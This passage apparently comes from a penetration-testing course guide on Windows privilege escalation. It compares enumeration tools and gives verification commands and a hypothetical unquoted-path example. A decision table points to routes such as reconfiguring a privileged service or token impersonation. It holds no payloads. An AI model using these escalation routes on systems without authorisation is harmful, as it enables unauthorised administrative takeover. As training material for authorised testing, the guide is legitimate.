winPEAS is broad; Seatbelt is a targeted survey and publishes source rather than official binaries; PrivescCheck evaluates the current token and skips some checks when elevated; PowerUp is useful but its upstream repository was archived. AV/script-policy failure is a tooling limitation—use native checks.
Convert every highlight into:
CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS
5.2.17.7 Worked example — hypothetical
Observation: a scanner flags an unquoted path. Test: inspect the earlier path prefixes and trigger. Illustrative output: none is writable. Interpretation: discard the exploit hypothesis and retain the configuration fact.
5.2.17.8 Verify the result
Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding
5.2.17.9 Failure and fallback
Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding
5.2.17.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
| Effective SERVICE_CHANGE_CONFIG on a higher-privileged service | Configuration-change right, accessible compatible payload path and a separate start/restart trigger | §5.2.8 — Change a privileged service's executable configuration |
| whoami /priv exposes a relevant token privilege | The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context | §5.2.14 — Select a privilege-backed impersonation or object-control route |
5.2.18 Sources and shared concepts
Supplied PEN-200 Ch 17 pp494–549. Hexdump Windows modules; Microsoft access-control, service and token sources remain beside the operational procedure.
Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.